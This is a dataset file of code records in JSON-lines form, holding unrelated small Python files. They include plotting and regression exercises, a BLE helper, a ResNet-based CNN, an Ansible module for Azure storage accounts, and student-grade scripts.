artur\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nplt.style.use(\"default\")\r\n\r\nfig, ax = plt.subplots()\r\n# Move the left and bottom spines to x = 0 and y = 0, respectively.\r\nax.spines[\"left\"].set_position((\"data\",0))\r\nax.spines[\"bottom\"].set_position((\"data\",0))\r\n# Hide the top and right spines\r\nax.spines[\"top\"].set_visible(False)\r\nax.spines[\"right\"].set_visible(False)\r\nax.plot(1,0,\">k\",transform=ax.get_yaxis_transform(),clip_on=False)\r\nax.plot(0,1,\"^k\",transform=ax.get_xaxis_transform(),clip_on=False) # noolte juures saad värvi muuta, nt \">k\" annaks musta värvi noole\r\n\r\n\r\n# Siin saab jaotiste väärtusi muuta omal soovil. np.arange(algus, lõpp, samm)\r\nax.set_xticks(np.arange(-10, 10 , 1))\r\nax.set_yticks(np.arange(-10 ,10 , 1))\r\nax.set_ylim(-6,6)\r\nax.set_xlim(-6,6)\r\nax.grid(True)\r\nax.set_title(\"y=ax+b graafik\", fontsize=18)\r\n\r\n# FUNKTSIOONE/PUNKTE JA MUID ASJU SAAD MUUTA SIIN.\r\n\r\ndef linfunk(x):\r\n return -3*x+2 # See on meie funktsioon y=ax+b\r\n\r\nx=np.linspace(-10,10,50) # Määramispiirkond \r\ny=linfunk(x) \r\nax.plot(x,y, lw=2) # Joonestame joone\r\n\r\nx_punktid=[-1, 1] # See on justkui meie tabelis x-ide rida.\r\nfor i in x_punktid:\r\n ax.plot(i, linfunk(i), \"ro\") # Märgime graafikule punktid\r\n","sub_path":"Matemaatika/Math textbook type of plot.py","file_name":"Math textbook type of plot.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"572540428","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# ----------------------------------------------------------------------------\n# ble_helper.py\n# Gait class\n#\n# The MIT License (MIT)\n# Copyright (c) 2020-21 Thomas Euler\n# 2020-08-16, First version\n#\n# ----------------------------------------------------------------------------\nfrom micropython import const\nimport struct\nimport bluetooth\n\n# ----------------------------------------------------------------------------\ndef format_mac(buf :bytearray) -> str:\n \"\"\" Format a MAC address from a bytearray\n \"\"\"\n return \":\".join([\"{0:.X}\".format(buf[i]) for i in range(len(buf))])\n\n# ----------------------------------------------------------------------------\n# Helpers for generating BLE advertising payloads; adapted from example on:\n# https://github.com/micropython/micropython/tree/master/examples/bluetooth\n#\n# Advertising payloads are repeated packets of the following form:\n# 1 byte data length (N + 1)\n# 1 byte type (see constants below)\n# N bytes type-specific data\n#\n# pylint: disable=bad-whitespace\n_ADV_TYPE_FLAGS = const(0x01)\n_ADV_TYPE_NAME = const(0x09)\n_ADV_TYPE_UUID16_COMPLETE = const(0x3)\n_ADV_TYPE_UUID32_COMPLETE = const(0x5)\n_ADV_TYPE_UUID128_COMPLETE = const(0x7)\n_ADV_TYPE_UUID16_MORE = const(0x2)\n_ADV_TYPE_UUID32_MORE = const(0x4)\n_ADV_TYPE_UUID128_MORE = const(0x6)\n_ADV_TYPE_APPEARANCE = const(0x19)\n# pylint: enable=bad-whitespace\n\ndef advertising_payload(limited_disc=False, br_edr=False, name=None,\n services=None, appearance=0):\n \"\"\" Generate a payload to be passed to gap_advertise(adv_data=...)\n \"\"\"\n payload = bytearray()\n\n def _append(adv_type, value):\n nonlocal payload\n payload += struct.pack(\"BB\", len(value) +1, adv_type) +value\n\n _append(\n _ADV_TYPE_FLAGS,\n struct.pack(\"B\", (0x01 if limited_disc else 0x02) +\n (0x18 if br_edr else 0x04)),\n )\n if name:\n _append(_ADV_TYPE_NAME, name)\n if services:\n for uuid in services:\n b = bytes(uuid)\n if len(b) == 2:\n _append(_ADV_TYPE_UUID16_COMPLETE, b)\n elif len(b) == 4:\n _append(_ADV_TYPE_UUID32_COMPLETE, b)\n elif len(b) == 16:\n _append(_ADV_TYPE_UUID128_COMPLETE, b)\n # See org.bluetooth.characteristic.gap.appearance.xml\n if appearance:\n _append(_ADV_TYPE_APPEARANCE, struct.pack(\"\"\nend_tag = \"\"\n\nstart_index = html_text.find(start_tag) + len(start_tag)\nend_index = html_text.find(end_tag)\n\nprint (html_text[start_index:end_index])","sub_path":"RealPython_one/parsing/parsing_example1.py","file_name":"parsing_example1.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"386941314","text":"from key_word import KeyWord\n\nTEST = [\n 'Выбери сайт 1',\n 'Текущий сайт?',\n 'Список сайтов',\n 'Сохрани 3 страницы из категории строительные технологии с сайта Фэйсбук',\n] \n\nclass Chat(object):\n\n id = 443028866\n\nclass MessageObject(object):\n\n chat = Chat\n \n def __init__(self, message):\n\n self.text = message\n\ndef perform_tests():\n\n tests_result = ''\n for message in TEST: \n message = MessageObject(message)\n # command = KeyWord(message)\n tests_result += KeyWord(message).result+'\\n'\n\n return tests_result\n\nif __name__ == \"__main__\":\n\n perform_tests()\n\n\n\n","sub_path":"HelloFlask/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"644506539","text":"import numpy as np\r\n\r\nimport pandas as pd\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nfrom scipy import optimize\r\nimport math as m\r\nimport sklearn as skl\r\nfrom sklearn import datasets\r\n\r\n\r\ndf = pd.read_csv(\"c://coursera/bikes_rent.csv\")\r\n#print(df.head())\r\n#print(df.info())\r\n\r\n\r\n#print(X)\r\n\r\n#fig, axes = plt.subplots(nrows=3, ncols=4, figsize=(15, 10))\r\n#for idx, feature in enumerate(df.columns[:-1]):\r\n# df.plot(feature, \"cnt\", subplots=True, kind=\"scatter\" )#, ax=axes[int(idx)/ 4, int(idx) % 4])\r\n\r\n#plt.show()\r\n\r\n#plt.plot(df['cnt'],df['mnth'])\r\n\r\n#sns.pairplot(df, y_vars = ['cnt'],x_vars = list(df.columns.values), kind=\"reg\",height=1.5)\r\n#plt.show()\r\n\r\n#print(df.corrwith(df[list(df.columns.values)]))\r\n\r\n\r\nfrom matplotlib.colors import ListedColormap\r\nfrom sklearn import datasets, linear_model, metrics\r\n\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.linear_model import Lasso, Ridge\r\n\r\n#print((df.corr())['temp'])\r\n\r\nX = df.get_values()[:,0:12]\r\n#print (X.shape)\r\nY = df[['cnt']].values\r\n#print(Y)\r\n\r\n\r\n\r\nmeanX = X.mean(axis=0)\r\nstdX = X.std(axis=0)\r\nX = (X-meanX)/stdX\r\n\r\n\r\n\r\n\r\nfrom sklearn.preprocessing import scale\r\nfrom sklearn.utils import shuffle\r\n\r\ndf_shuffled = shuffle(df, random_state=123)\r\nX = scale(df_shuffled[df_shuffled.columns[:-1]])\r\ny = df_shuffled[\"cnt\"]\r\nlinear_regression = LinearRegression()\r\nlinear_regression.fit(X,y)\r\n#print(list(zip(df_shuffled.columns[:-1], linear_regression.coef_)))\r\n\r\nlasso_regression = linear_model.Lasso(alpha=10000000000)\r\nlasso_regression.fit(X,y)\r\nprint(list(zip(df_shuffled.columns[:-1], lasso_regression.coef_)))\r\n\r\n\r\nridge_regression = linear_model.Ridge()\r\nridge_regression.fit(X,y)\r\n#print(list(zip(df_shuffled.columns[:-1], ridge_regression.coef_)))\r\n\r\n\r\nfrom sklearn.linear_model import LassoCV\r\nalphas = np.arange(1, 100, 5)\r\nlassocv_reg= LassoCV(alphas=alphas, cv=3,)\r\nlassocv_reg.fit(X, y)\r\n#print(lassocv_reg.alpha_)\r\nmse_matrix= lassocv_reg.mse_path_\r\nprint (mse_matrix)\r\nmse_mean = mse_matrix.mean(axis=1)\r\nprint (mse_mean)\r\n#print(lassocv_reg.alphas_)\r\n#print(lassocv_reg.coef_)\r\n\r\n#plt.ylabel('mean MSE')\r\n#plt.xlabel('alpha')\r\n#plt.plot(lassocv_reg.alphas_, mse_mean)\r\n#plt.show()\r\n\r\nplt.plot(lassocv_reg.alphas_, mse_matrix[:,0])\r\nplt.plot(lassocv_reg.alphas_, mse_matrix[:,1])\r\nplt.plot(lassocv_reg.alphas_, mse_matrix[:,2])\r\nplt.show()\r\n\r\n#(mse_matrix[:,0]).index(min(mse_matrix[:,0]))\r\n\r\nprint(mse_matrix.argmin(axis=0))\r\n\r\nalphas = np.arange(1, 500, 50)\r\ncoefs_lasso = np.zeros((alphas.shape[0], X.shape[1])) # матрица весов размера (число регрессоров) x (число признаков)\r\ncoefs_ridge = np.zeros((alphas.shape[0], X.shape[1]))\r\n# Для каждого значения коэффициента из alphas обучите регрессор Lasso\r\n# и запишите веса в соответствующую строку матрицы coefs_lasso (вспомните встроенную в python функцию enumerate),\r\n# а затем обучите Ridge и запишите веса в coefs_ridge.\r\n\r\ni=0\r\nfor alpha in alphas:\r\n lasso_regression = Lasso(alpha=alpha)\r\n lasso_regression.fit(X, y)\r\n ridge_regression = Ridge(alpha=alpha)\r\n ridge_regression.fit(X, y)\r\n coefs_lasso[i]= lasso_regression.coef_\r\n coefs_ridge[i]= ridge_regression.coef_\r\n i+=1\r\n\r\n#print(coefs_lasso)\r\n#print(coefs_ridge)","sub_path":"lasso ridge.py","file_name":"lasso ridge.py","file_ext":"py","file_size_in_byte":3405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"217257694","text":"import torch\nimport torch.nn as nn\nfrom torchvision import models\n\nclass AdaptiveCNN(nn.Module):\n\n \"\"\" adaptive convolutional neural network\n input: \n tensor: image with any size\n int: feature_map_size\n output:\n a tensor with size (n_batch, 512, feature_map_size, feature_map_size)\n \n point 1: we used pre-trained Resnet18 for CNN layer\n point 2: 512 is the size of the channel in the final conv layer\n\n global average pooling(GAP) in paper:\n Fully connected layers are prone to overfitting, this is obviously less prone\n Saves a lot of parameters\n \"\"\"\n\n def __init__(self, feature_map_size=1):\n super(AdaptiveCNN, self).__init__()\n model = models.resnet18(pretrained=True)\n\n\n self.cnn = nn.Sequential(\n model.conv1,\n model.bn1,\n model.relu,\n model.maxpool,\n model.layer1,\n model.layer2,\n model.layer3,\n model.layer4)\n\n self.avgpool = nn.AdaptiveAvgPool2d(output_size=(feature_map_size, feature_map_size))\n self.clf = nn.Softmax2d()\n \n\n def forward(self, x):\n x = self.cnn(x)\n x = self.avgpool(x)\n x = self.clf(x)\n return x\n","sub_path":"models/AdaptiveCNN.py","file_name":"AdaptiveCNN.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"546362460","text":"class ListNode:\n def __init__(self,x):\n self.val = x\n self.next = None\n\ndef swapPairs(self, A):\n if A == None or A.next == None:\n return A\n dummy = ListNode(0);\n dummy.next = A\n p = dummy\n while p.next and p.next.next:\n tmp = p.next.next\n p.next.next = tmp.next\n tmp.next = p.next\n p.next = tmp\n p = p.next.next\n return dummy.next","sub_path":"swapPairs.py","file_name":"swapPairs.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"317257623","text":"#!/usr/bin/python\n#\n# Copyright (c) 2018 Zim Kalinowski, \n#\n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n\nfrom __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\n\nANSIBLE_METADATA = {'metadata_version': '1.1',\n 'status': ['preview'],\n 'supported_by': 'community'}\n\n\nDOCUMENTATION = '''\n---\nmodule: azure_rm_storageaccount\nversion_added: \"2.8\"\nshort_description: Manage Azure Storage Account instance.\ndescription:\n - Create, update and delete instance of Azure Storage Account.\n\noptions:\n resource_group:\n description:\n - \"The name of the resource group within the user's subscription. The name is case insensitive.\"\n required: True\n name:\n description:\n - \"The name of the C(storage) account within the specified resource group. C(storage) account names must be between 3 and 24 characters in\n length and use numbers and lower-case letters only.\"\n required: True\n sku:\n description:\n - Required. Gets or sets the sku name.\n - Required when C(state) is I(present).\n suboptions:\n name:\n description:\n - \"Gets or sets the sku name. Required for account creation; optional for update. Note that in older versions, sku name was called\n accountType.\"\n - Required when C(state) is I(present).\n choices:\n - 'standard_lrs'\n - 'standard_grs'\n - 'standard_ragrs'\n - 'standard_zrs'\n - 'premium_lrs'\n - 'premium_zrs'\n restrictions:\n description:\n - The restrictions because of which SKU cannot be used. This is empty if there are no restrictions.\n type: list\n suboptions:\n reason_code:\n description:\n - \"The reason for the restriction. As of now this can be 'C(quota_id)' or 'C(not_available_for_subscription)'. Quota Id is set\n when the SKU has requiredQuotas parameter as the subscription does not belong to that quota. The\n 'C(not_available_for_subscription)' is related to capacity at DC.\"\n choices:\n - 'quota_id'\n - 'not_available_for_subscription'\n kind:\n description:\n - Required. Indicates the type of C(storage) account.\n - Required when C(state) is I(present).\n choices:\n - 'storage'\n - 'storage_v2'\n - 'blob_storage'\n - 'file_storage'\n - 'block_blob_storage'\n location:\n description:\n - Resource location. If not set, location from the resource group will be used as default.\n identity:\n description:\n - The identity of the resource.\n suboptions:\n type:\n description:\n - The identity type.\n - Required when C(state) is I(present).\n custom_domain:\n description:\n - \"User domain assigned to the C(storage) account. Name is the CNAME source. Only one custom domain is supported per C(storage) account at this\n time. To clear the existing custom domain, use an empty string for the custom domain name property.\"\n suboptions:\n name:\n description:\n - Gets or sets the custom domain name assigned to the storage account. Name is the CNAME source.\n - Required when C(state) is I(present).\n use_sub_domain:\n description:\n - Indicates whether indirect CName validation is enabled. Default value is false. This should only be set on updates.\n encryption:\n description:\n - \"Provides the encryption settings on the account. If left unspecified the account encryption settings will remain the same. The default\n setting is unencrypted.\"\n suboptions:\n services:\n description:\n - List of services which support encryption.\n suboptions:\n blob:\n description:\n - The encryption function of the blob storage service.\n suboptions:\n enabled:\n description:\n - A boolean indicating whether or not the service encrypts the data as it is stored.\n file:\n description:\n - The encryption function of the file storage service.\n suboptions:\n enabled:\n description:\n - A boolean indicating whether or not the service encrypts the data as it is stored.\n key_source:\n description:\n - \"The encryption keySource (provider). Possible values (case-insensitive): C(microsoft._storage), C(microsoft._keyvault).\"\n - Required when C(state) is I(present).\n choices:\n - 'microsoft._storage'\n - 'microsoft._keyvault'\n key_vault_properties:\n description:\n - Properties provided by key vault.\n suboptions:\n key_name:\n description:\n - The name of KeyVault key.\n key_version:\n description:\n - The version of KeyVault key.\n key_vault_uri:\n description:\n - The Uri of KeyVault.\n network_rule_set:\n description:\n - Network rule set\n suboptions:\n bypass:\n description:\n - \"Specifies whether traffic is bypassed for C(logging)/C(metrics)/C(azure_services). Possible values are any combination of\n C(logging)|C(metrics)|C(azure_services) (For example, 'C(logging), C(metrics)'), or C(none) to bypass C(none) of those traffics.\"\n choices:\n - 'none'\n - 'logging'\n - 'metrics'\n - 'azure_services'\n virtual_network_rules:\n description:\n - Sets the virtual network rules\n type: list\n suboptions:\n virtual_network_resource_id:\n description:\n - \"Resource ID of a subnet, for example:\n /subscriptions/{subscriptionId}/resourceGroups/{groupName}/providers/Microsoft.Network/virtualNetworks/{vnetName}/subnets/{su\n bnetName}.\"\n - Required when C(state) is I(present).\n action:\n description:\n - The action of virtual network rule.\n choices:\n - 'allow'\n state:\n description:\n - Gets the state of virtual network rule.\n choices:\n - 'provisioning'\n - 'deprovisioning'\n - 'succeeded'\n - 'failed'\n - 'network_source_deleted'\n ip_rules:\n description:\n - Sets the IP ACL rules\n type: list\n suboptions:\n ip_address_or_range:\n description:\n - Specifies the IP or IP range in CIDR format. Only IPV4 address is allowed.\n - Required when C(state) is I(present).\n action:\n description:\n - The action of IP ACL rule.\n choices:\n - 'allow'\n default_action:\n description:\n - Specifies the default action of C(allow) or C(deny) when no other rules match.\n - Required when C(state) is I(present).\n choices:\n - 'allow'\n - 'deny'\n access_tier:\n description:\n - Required for C(storage) accounts where I(kind) = C(blob_storage). The access tier used for billing.\n choices:\n - 'hot'\n - 'cool'\n enable_azure_files_aad_integration:\n description:\n - Enables Azure Files AAD Integration for SMB if sets to true.\n enable_https_traffic_only:\n description:\n - Allows https traffic only to C(storage) service if sets to true.\n is_hns_enabled:\n description:\n - Account HierarchicalNamespace enabled if sets to true.\n state:\n description:\n - Assert the state of the Storage Account.\n - Use 'present' to create or update an Storage Account and 'absent' to delete it.\n default: present\n choices:\n - absent\n - present\n\nextends_documentation_fragment:\n - azure\n - azure_tags\n\nauthor:\n - \"Zim Kalinowski (@zikalino)\"\n\n'''\n\nEXAMPLES = '''\n - name: Create (or update) Storage Account\n azure_rm_storageaccount:\n resource_group: res9101\n name: sto4445\n sku:\n name: Standard_GRS\n kind: Storage\n location: eastus\n enable_azure_files_aad_integration: True\n is_hns_enabled: True\n'''\n\nRETURN = '''\nid:\n description:\n - \"Fully qualified resource Id for the resource. Ex -\n /subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}\"\n returned: always\n type: str\n sample: /subscriptions/{subscription-id}/resourceGroups/res9407/providers/Microsoft.Storage/storageAccounts/sto8596\n'''\n\nimport time\nfrom ansible.module_utils.azure_rm_common import AzureRMModuleBase\nfrom ansible.module_utils.common.dict_transformations import _snake_to_camel\n\ntry:\n from msrestazure.azure_exceptions import CloudError\n from msrest.polling import LROPoller\n from msrestazure.azure_operation import AzureOperationPoller\n from azure.mgmt.storage import StorageManagementClient\n from msrest.serialization import Model\nexcept ImportError:\n # This is handled in azure_rm_common\n pass\n\n\nclass Actions:\n NoAction, Create, Update, Delete = range(4)\n\n\nclass AzureRMStorageAccount(AzureRMModuleBase):\n \"\"\"Configuration class for an Azure RM Storage Account resource\"\"\"\n\n def __init__(self):\n self.module_arg_spec = dict(\n resource_group=dict(\n type='str',\n required=True\n ),\n name=dict(\n type='str',\n required=True\n ),\n sku=dict(\n type='dict',\n options=dict(\n name=dict(\n type='str',\n choices=['standard_lrs',\n 'standard_grs',\n 'standard_ragrs',\n 'standard_zrs',\n 'premium_lrs',\n 'premium_zrs']\n ),\n restrictions=dict(\n type='list',\n options=dict(\n reason_code=dict(\n type='str',\n choices=['quota_id',\n 'not_available_for_subscription']\n )\n )\n )\n )\n ),\n kind=dict(\n type='str',\n choices=['storage',\n 'storage_v2',\n 'blob_storage',\n 'file_storage',\n 'block_blob_storage']\n ),\n location=dict(\n type='str'\n ),\n identity=dict(\n type='dict',\n options=dict(\n type=dict(\n type='str'\n )\n )\n ),\n custom_domain=dict(\n type='dict',\n options=dict(\n name=dict(\n type='str'\n ),\n use_sub_domain=dict(\n type='str'\n )\n )\n ),\n encryption=dict(\n type='dict',\n options=dict(\n services=dict(\n type='dict',\n options=dict(\n blob=dict(\n type='dict',\n options=dict(\n enabled=dict(\n type='str'\n )\n )\n ),\n file=dict(\n type='dict',\n options=dict(\n enabled=dict(\n type='str'\n )\n )\n )\n )\n ),\n key_source=dict(\n type='str',\n choices=['microsoft._storage',\n 'microsoft._keyvault']\n ),\n key_vault_properties=dict(\n type='dict',\n options=dict(\n key_name=dict(\n type='str'\n ),\n key_version=dict(\n type='str'\n ),\n key_vault_uri=dict(\n type='str'\n )\n )\n )\n )\n ),\n network_rule_set=dict(\n type='dict',\n options=dict(\n bypass=dict(\n type='str',\n choices=['none',\n 'logging',\n 'metrics',\n 'azure_services']\n ),\n virtual_network_rules=dict(\n type='list',\n options=dict(\n virtual_network_resource_id=dict(\n type='str'\n ),\n action=dict(\n type='str',\n choices=['allow']\n ),\n state=dict(\n type='str',\n choices=['provisioning',\n 'deprovisioning',\n 'succeeded',\n 'failed',\n 'network_source_deleted']\n )\n )\n ),\n ip_rules=dict(\n type='list',\n options=dict(\n ip_address_or_range=dict(\n type='str'\n ),\n action=dict(\n type='str',\n choices=['allow']\n )\n )\n ),\n default_action=dict(\n type='str',\n choices=['allow',\n 'deny']\n )\n )\n ),\n access_tier=dict(\n type='str',\n choices=['hot',\n 'cool']\n ),\n enable_azure_files_aad_integration=dict(\n type='str'\n ),\n enable_https_traffic_only=dict(\n type='str'\n ),\n is_hns_enabled=dict(\n type='str'\n ),\n state=dict(\n type='str',\n default='present',\n choices=['present', 'absent']\n )\n )\n\n self.resource_group = None\n self.name = None\n self.parameters = dict()\n\n self.results = dict(changed=False)\n self.mgmt_client = None\n self.state = None\n self.to_do = Actions.NoAction\n\n super(AzureRMStorageAccount, self).__init__(derived_arg_spec=self.module_arg_spec,\n supports_check_mode=True,\n supports_tags=True)\n\n def exec_module(self, **kwargs):\n \"\"\"Main module execution method\"\"\"\n\n for key in list(self.module_arg_spec.keys()) + ['tags']:\n if hasattr(self, key):\n setattr(self, key, kwargs[key])\n elif kwargs[key] is not None:\n self.parameters[key] = kwargs[key]\n\n dict_camelize(self.parameters, ['sku', 'name'], True)\n dict_map(self.parameters, ['sku', 'name'], {'standard_lrs': 'Standard_LRS', 'standard_grs': 'Standard_GRS', 'standard_ragrs': 'Standard_RAGRS', 'standard_zrs': 'Standard_ZRS', 'premium_lrs': 'Premium_LRS', 'premium_zrs': 'Premium_ZRS'})\n dict_camelize(self.parameters, ['sku', 'restrictions', 'reason_code'], True)\n dict_camelize(self.parameters, ['kind'], True)\n dict_camelize(self.parameters, ['encryption', 'key_source'], True)\n dict_camelize(self.parameters, ['network_rule_set', 'bypass'], True)\n dict_resource_id(self.parameters, ['network_rule_set', 'virtual_network_rules', 'virtual_network_resource_id'], subscription_id=self.subscription_id, resource_group=self.resource_group)\n dict_camelize(self.parameters, ['network_rule_set', 'virtual_network_rules', 'action'], True)\n dict_camelize(self.parameters, ['network_rule_set', 'virtual_network_rules', 'state'], True)\n dict_map(self.parameters, ['network_rule_set', 'virtual_network_rules', 'state'], {'network_source_deleted': 'networkSourceDeleted'})\n dict_camelize(self.parameters, ['network_rule_set', 'ip_rules', 'action'], True)\n dict_camelize(self.parameters, ['network_rule_set', 'default_action'], True)\n dict_camelize(self.parameters, ['access_tier'], True)\n\n response = None\n\n self.mgmt_client = self.get_mgmt_svc_client(StorageManagementClient,\n base_url=self._cloud_environment.endpoints.resource_manager)\n\n resource_group = self.get_resource_group(self.resource_group)\n\n if \"location\" not in self.parameters:\n self.parameters[\"location\"] = resource_group.location\n\n old_response = self.get_storageaccount()\n\n if not old_response:\n self.log(\"Storage Account instance doesn't exist\")\n if self.state == 'absent':\n self.log(\"Old instance didn't exist\")\n else:\n self.to_do = Actions.Create\n else:\n self.log(\"Storage Account instance already exists\")\n if self.state == 'absent':\n self.to_do = Actions.Delete\n elif self.state == 'present':\n if (not default_compare(self.parameters, old_response, '', self.results)):\n self.to_do = Actions.Update\n\n if (self.to_do == Actions.Create) or (self.to_do == Actions.Update):\n self.log(\"Need to Create / Update the Storage Account instance\")\n\n if self.check_mode:\n self.results['changed'] = True\n return self.results\n\n response = self.create_update_storageaccount()\n\n self.results['changed'] = True\n self.log(\"Creation / Update done\")\n elif self.to_do == Actions.Delete:\n self.log(\"Storage Account instance deleted\")\n self.results['changed'] = True\n\n if self.check_mode:\n return self.results\n\n self.delete_storageaccount()\n # This currently doesnt' work as there is a bug in SDK / Service\n if isinstance(response, LROPoller) or isinstance(response, AzureOperationPoller):\n response = self.get_poller_result(response)\n else:\n self.log(\"Storage Account instance unchanged\")\n self.results['changed'] = False\n response = old_response\n\n if self.state == 'present':\n self.results.update({\n 'id': response.get('id', None)\n })\n return self.results\n\n def create_update_storageaccount(self):\n '''\n Creates or updates Storage Account with the specified configuration.\n\n :return: deserialized Storage Account instance state dictionary\n '''\n self.log(\"Creating / Updating the Storage Account instance {0}\".format(self.name))\n\n try:\n if self.to_do == Actions.Create:\n response = self.mgmt_client.storage_accounts.create(resource_group_name=self.resource_group,\n account_name=self.name,\n parameters=self.parameters)\n else:\n response = self.mgmt_client.storage_accounts.update(resource_group_name=self.resource_group,\n account_name=self.name,\n parameters=self.parameters)\n if isinstance(response, LROPoller) or isinstance(response, AzureOperationPoller):\n response = self.get_poller_result(response)\n\n except CloudError as exc:\n self.log('Error attempting to create the Storage Account instance.')\n self.fail(\"Error creating the Storage Account instance: {0}\".format(str(exc)))\n return response.as_dict()\n\n def delete_storageaccount(self):\n '''\n Deletes specified Storage Account instance in the specified subscription and resource group.\n\n :return: True\n '''\n self.log(\"Deleting the Storage Account instance {0}\".format(self.name))\n try:\n response = self.mgmt_client.storage_accounts.delete(resource_group_name=self.resource_group,\n account_name=self.name)\n except CloudError as e:\n self.log('Error attempting to delete the Storage Account instance.')\n self.fail(\"Error deleting the Storage Account instance: {0}\".format(str(e)))\n\n return True\n\n def get_storageaccount(self):\n '''\n Gets the properties of the specified Storage Account.\n\n :return: deserialized Storage Account instance state dictionary\n '''\n self.log(\"Checking if the Storage Account instance {0} is present\".format(self.name))\n found = False\n try:\n response = self.mgmt_client.storage_accounts.get()\n found = True\n self.log(\"Response : {0}\".format(response))\n self.log(\"Storage Account instance : {0} found\".format(response.name))\n except CloudError as e:\n self.log('Did not find the Storage Account instance.')\n if found is True:\n return response.as_dict()\n\n return False\n\n\ndef default_compare(new, old, path, result):\n if new is None:\n return True\n elif isinstance(new, dict):\n if not isinstance(old, dict):\n result['compare'] = 'changed [' + path + '] old dict is null'\n return False\n for k in new.keys():\n if not default_compare(new.get(k), old.get(k, None), path + '/' + k, result):\n return False\n return True\n elif isinstance(new, list):\n if not isinstance(old, list) or len(new) != len(old):\n result['compare'] = 'changed [' + path + '] length is different or null'\n return False\n if isinstance(old[0], dict):\n key = None\n if 'id' in old[0] and 'id' in new[0]:\n key = 'id'\n elif 'name' in old[0] and 'name' in new[0]:\n key = 'name'\n else:\n key = list(old[0])[0]\n new = sorted(new, key=lambda x: x.get(key, None))\n old = sorted(old, key=lambda x: x.get(key, None))\n else:\n new = sorted(new)\n old = sorted(old)\n for i in range(len(new)):\n if not default_compare(new[i], old[i], path + '/*', result):\n return False\n return True\n else:\n if path == '/location':\n new = new.replace(' ', '').lower()\n old = new.replace(' ', '').lower()\n if new == old:\n return True\n else:\n result['compare'] = 'changed [' + path + '] ' + str(new) + ' != ' + str(old)\n return False\n\n\ndef dict_camelize(d, path, camelize_first):\n if isinstance(d, list):\n for i in range(len(d)):\n dict_camelize(d[i], path, camelize_first)\n elif isinstance(d, dict):\n if len(path) == 1:\n old_value = d.get(path[0], None)\n if old_value is not None:\n d[path[0]] = _snake_to_camel(old_value, camelize_first)\n else:\n sd = d.get(path[0], None)\n if sd is not None:\n dict_camelize(sd, path[1:], camelize_first)\n\n\ndef dict_map(d, path, map):\n if isinstance(d, list):\n for i in range(len(d)):\n dict_map(d[i], path, map)\n elif isinstance(d, dict):\n if len(path) == 1:\n old_value = d.get(path[0], None)\n if old_value is not None:\n d[path[0]] = map.get(old_value, old_value)\n else:\n sd = d.get(path[0], None)\n if sd is not None:\n dict_map(sd, path[1:], map)\n\n\ndef dict_resource_id(d, path, **kwargs):\n if isinstance(d, list):\n for i in range(len(d)):\n dict_resource_id(d[i], path)\n elif isinstance(d, dict):\n if len(path) == 1:\n old_value = d.get(path[0], None)\n if old_value is not None:\n if isinstance(old_value, dict):\n resource_id = format_resource_id(val=self.target['name'],\n subscription_id=self.target.get('subscription_id') or self.subscription_id,\n namespace=self.target['namespace'],\n types=self.target['types'],\n resource_group=self.target.get('resource_group') or self.resource_group)\n d[path[0]] = resource_id\n else:\n sd = d.get(path[0], None)\n if sd is not None:\n dict_resource_id(sd, path[1:])\n\n\ndef main():\n \"\"\"Main execution\"\"\"\n AzureRMStorageAccount()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"library/azure_rm_storageaccount.py","file_name":"azure_rm_storageaccount.py","file_ext":"py","file_size_in_byte":28173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"356603664","text":"0#ex089\r\n\r\nboletim=[[],[[],[]],[]]\r\n\r\nwhile True:\r\n nome=input('Nome: ')\r\n nota1=int(input('Nota1: '))\r\n nota2=int(input('Nota2: '))\r\n continuar=input('Quer continuar? [S/N]: ')\r\n boletim[1][0].append(nota1)\r\n boletim[1][1].append(nota2) \r\n media=(nota1+nota2)/2\r\n boletim[0].append(nome)\r\n boletim[2].append(media)\r\n if continuar=='n':\r\n break\r\nprint(boletim[0],boletim[1],boletim[2])\r\nprint(f' Nº Nome Média') \r\nfor i in range(0,len(boletim[0])):\r\n print(f'{i:^15}{boletim[0][i]:^15} {boletim[2][i]:^15}')\r\nwhile True:\r\n aluno=int(input('Mostrar nota de qual aluno? (999 interrompe): '))\r\n if aluno==999:\r\n break\r\n print(f'Notas de {boletim[0][aluno]} são {boletim[1][0][aluno]}, {boletim[1][1][aluno]}')\r\n \r\n\r\n \r\n \r\n \r\n","sub_path":"Exercícios/ex089.py","file_name":"ex089.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"54978648","text":"#!/usr/bin/env python\n''' Analysis script for standard plots\n'''\n#\n# Standard imports and batch mode\n#\nimport ROOT, os\nROOT.gROOT.SetBatch(True)\nimport itertools\n\nfrom math import sqrt, cos, sin, pi\nfrom RootTools.core.standard import *\nfrom TopEFT.Tools.user import plot_directory\nfrom TopEFT.Tools.helpers import deltaR, deltaPhi, getObjDict, getVarValue\nfrom TopEFT.Tools.objectSelection import getFilterCut, isAnalysisJet, isBJet\nfrom TopEFT.Tools.cutInterpreter import cutInterpreter\n\n#\n# Arguments\n# \nimport argparse\nargParser = argparse.ArgumentParser(description = \"Argument parser\")\nargParser.add_argument('--logLevel', action='store', default='INFO', nargs='?', choices=['CRITICAL', 'ERROR', 'WARNING', 'INFO', 